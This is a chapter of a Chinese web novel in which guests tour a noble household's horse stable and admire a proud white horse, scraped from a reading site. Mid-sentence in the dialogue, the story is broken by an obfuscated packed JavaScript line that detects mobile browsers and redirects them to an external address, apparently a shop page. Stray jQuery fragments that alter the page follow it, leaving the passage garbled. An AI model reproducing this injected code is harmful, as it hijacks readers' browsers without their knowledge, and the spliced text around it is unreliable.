默认冷灰
24号文字
方正启体

38. 马厩

作者:宛水本书字数:K更新时间:
    第二道门外,是很大很大的草场,郁郁葱葱的碧绿色,有鲜衣怒马的少年郎奔袭而过,刚刚还见过。


    青砖垒砌而成的马厩,两边有两个小小的耳房,是仆从日夜值班的住所,马厩细长,阳光透着栏杆撒入,照在劲瘦修长的马身上,抓人眼。


    有一位瘦瘦高高的中年人站在马厩外指挥着,看见他们,小跑着过来,低眉顺眼,“主子可要骑马?”


    乌行看着两个孩子亮晶晶发光的眼睛,“给他们介绍一下。”


    “诶,小姐少爷,小的姓王,您请随我来。”


    “草场分为两部分,您现在看到的都是大藏坐船漂泊而来的佳骏,还有传说中遗留在人间的仙马子孙,都是万中无一的好马。”


    走近了才看到,马厩也悬挂着蜡烛,外面罩着半透明的罩子,呈淡淡的棕黄色,不似寻常。


    “这是羊角灯,拿一整个完整无缺的羊角制成的。”


    “羊角灯?”


    “是,先拿羊角和萝卜丝一同煮,变软则置于桌案上,用擀杖擀薄。套上两头小中间大的木撑子,再煮再擀,反复几次,直到薄而不漏,烛光透而不灼。”


    “这灯笼密闭防火性奇佳,要二三十个羊角才能出一个。”


    十数米的马厩分成两部分,一部分装着七八匹,都是乌云浓墨深棕色的,大多都在垂头吃草,偶有两个仰头受人梳毛的,看见人来,眼睛跟着人走。


    侧墙上挂着三排马鞍,各种型号都有,有三四个仆从清理粪桶,混杂着青草气,味道并不难闻。


    还有两个穿着短衣刀裤的,正在铡草拌料,草料有单独存放的屋子,以独轮车运送。


    “马儿要养的好,喂养很重要,我们是选用新鲜的草料,加上盐水煮熟的新豆,豆要比草多,一日三次。下次喂食之前,把食槽都清空,以免天热,粮食容易坏。”


    安鲤走过去,马儿很乖顺的低头凑过来,剔透双眸很温柔的看着人脸,好像慈祥的妈妈包容不听话的孩子。


    在马厩稍远处,有一深厚石墙砌着的半人多高的,没屋顶的屋子,仆从两三个,来来回回的打水倒水。


    “小姐可是没见过?这还是大藏来的‘马圣’教我们的,名为沁水池。一是为了跑马后,给奔行热血降温用,二是等到了炎夏,让马儿在此休闲打闹,都不舍得出来呢。”


    再往前走,另一部分也乘着三四匹马,有人开了门试图去牵引,马儿却头一甩,蹄子一撂,猛冲出去,在草场上尽情撒欢儿,连个眼尾也不甩给人。


    “这些马儿身份更加尊贵,有价无市,一匹万斤尤不可求。”


    安鲤也看出来了,都傲气得很,而且更健壮漂亮。


    “通体乌黑,四蹄白雪的是乌雅,浑身雪白仅四蹄微黄的,名为爪黄飞电,跑起来足下生风,疾速轻盈。”


    还有一匹,洁白胜雪,精瘦的筋骨像刀锋一样突出分明,两耳如斜削的竹片一样尖锐,沐浴在灿烂的日光下,熠熠生辉,格外显眼。


    “这匹叫照夜玉狮子,为少主准备的,年纪还小。”


    好啊,好一个照夜,好一个玉狮子,有此良骑,定能厮杀守生死,万里尚横行,谁不心动?


    安鲤寸目不移地盯着,那马先痛痛快快的跑了两圈,抖抖身子,闲庭信步的去喝了几口水。眼睛扫视着还在奔跑的伙伴,轻抬前蹄,嘶吼着追上去。


    安鲤这个外行人都看着出来,好像刻意压着步子,似乎….


    “这小姑娘又想使坏,想去咬乌雅的尾巴。”


    “咬尾巴?”


    “玉狮子资质最好,也最淘气,平日里看不上的马不搭理,人更是理都不理。就是勉强能入了她的眼的,也是捉弄。”


    好有脾气的小姑娘,好可爱的小姑娘,宛如狗尾巴草在微风中晃啊晃,挠着安鲤的心尖尖。


    “我还没骑过马呢。”朝岁突然开口。


    张总管打量着贵人的脸色,斟酌开口,“小姐少爷们若是想骑,可以从左边马厩里的选,天资尚可且有专人调教过,温驯亲人,正适合各位初学者。”


    眼神顺着手扫向侧面,正巧对上一双渴望马眼,鬼使神差的,思维相连,“为什么不放他们出来呢?”


    “要等这几匹玩完。”


    “不能一起吗?它们也想出来。”


    “马有马的等级,这是为了他们好,他们资质不敌,若是一味追赶,便会力竭而亡。混乱中挡了良骏的路,踩踏踢滑,要是不小心摔断了腿,还能用的,给口吃的养着配种,也活不了多久。不能用的,一碗毒药也落个轻巧。”


    张总管皮笑肉不笑,说的和善,听着瘆人,挥手让人送来些新鲜切好的瓜果,双手捧着示意两人拿一些。


    “马是有感情,会看人下菜碟的。你要对他好,他就会亲人。可也不能太好,要是让他以为自己是老大,看不起你,就会欺负你了。”


    “贵客可以选自己心仪的,把瓜果放在掌心,自会探头来吃。吃了你的果子,就没有不让人骑的道理了。”


    安鲤点头,却没走向马厩,而是用手卷起小喇叭,大声喊,“玉狮子!我这儿有新鲜的甜瓜,来尝尝吧!”


    没有不吃的义务。


    玉狮子猛冲急刹,只叼走甜瓜,不停顿,飘逸的鬓毛顺着风的形状拂了安鲤满脸,土腥气涩,转身就走了。


    张总管适时开口,“它俱生,自明川公子回来后,都是亲自喂养。换了人,一连数日,草不吃粮不食,脾气倔得很。”


    安鲤闻言颔首,也不强求,和朝岁一同,选了两匹温驯的,摸摸抱抱,由仆从领着在草场上微微小跑了两圈,乌行怕出事,吩咐人紧紧勒着缰绳,没什么意思。


    下马后,有四五个仆从围上来,喂食的喂食,拴马的拴马,还有专人负责将长长的鬓毛变成各式各样的辫子,缝有祥云花纹的缎丝绑着,还缀着绿松石间金珠皮链。


    安鲤看着一群人忙忙碌碌,不需人指挥尚且井井有条,突然问,“这一匹马可要四五个人伺候


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187060|194520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    乌行的眼睛还追随着玉狮子。


    儿子说要归家,年前他去大藏选的,被主人家藏在毡房里,可马儿哪里关得住呢。


    趁着人换食的空档,直直撞向人身,吓得那十几岁流着鼻涕的小奴才屁滚尿流,就要踩于蹄下,骤然升空跳跃,在草原上肆意。


    后面跟着一大串骑着马来追赶勒绳的人,屁股一甩,一个转身回跳,耍的一大群人撞翻在一起,她却悠然自得的吃草嗅花,还在地上很舒服的打滚儿。


    噼里啪啦的马蹄声响彻云霄,扬起翻涌的黄尘,风迷得人睁不开眼,夹杂着主人家挥鞭破空声和哭嚎求饶声。


    乌行想,就这一匹吧,很适合明川。


    他的骑技其实很不错,有伴他十几年的老马养在家里,现在的君子讲究“射御书数礼乐”,父子一场,总能教给孩子些什么。


    此刻听闻安鲤的问话,堪堪回神,撇了小姑娘一眼。


    “只是马场日常,一匹四五个人也是够的。若是更精细些,算上草料搬运,粮食种植,还备着兽医半旬两次的检查,一匹算来下,得十数人。”


    一匹马,竟要十几人来配。


    朝岁算着日头,“回去吧。现在不走,天就要暗了。”


    王总管很周到,知道贵客出来一下午,玩也该玩累了,马车就在不远处备着,一声哨声尖锐,停在人前。


    眼看着他们要走,等候在一旁的少年郎终于等不住了,挡在车厢侧面,又行礼。


    他的礼数可太多啦,安鲤停下上车的脚,暗暗想。


    “什么事?”


    他这个侄子,面貌随母家更多一些,只轮廓显露出一点熟悉的痕迹。


    “父亲前几日挖出了您幼时埋在树下的老酒,今日又得了新鲜的鱼货,正午时分就想请您入府小叙,周管家说您出门了。”


    “父亲…父亲已经两天没见您了,多有牵挂,不知今晚能否赏个脸,也免多生事端。”


    “没空,告诉他,老老实实的在家里呆着,我近日心情好,懒得搭理他。”


    “那少主呢,听闻少主归家,特来自请觐见。”


    “他出去做事了,也没空。想见你时,自会传你。”


    “明辙”,他不轻不重地敲打着少年人,“别学你父亲。”


    马车上,他叮嘱两个孩子,明天,还是那个时辰,还是那个地方,过时不侯。


    乌明辙回家的时候,父亲就坐守在大门旁,专门设的小亭子里,里面撒着诗书画卷,乱七八糟,不成样子。


    挥笔洒墨,扶须长叹,见他孤身回来,墨纸一扬,人又躲回书房里。


    乌明辙熟练的从半空中接纸,书着一首短诗。


    亭有愁泪妇,孤身常独栖。


    身似风残柳,飘零无可依。


    郎君久不见,贱妾何时谐?


    愿为三月桃,羞红点郎发。


    父亲一定又偷偷落泪了,明辙将宣纸收好,放回看不见底的书阁里。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)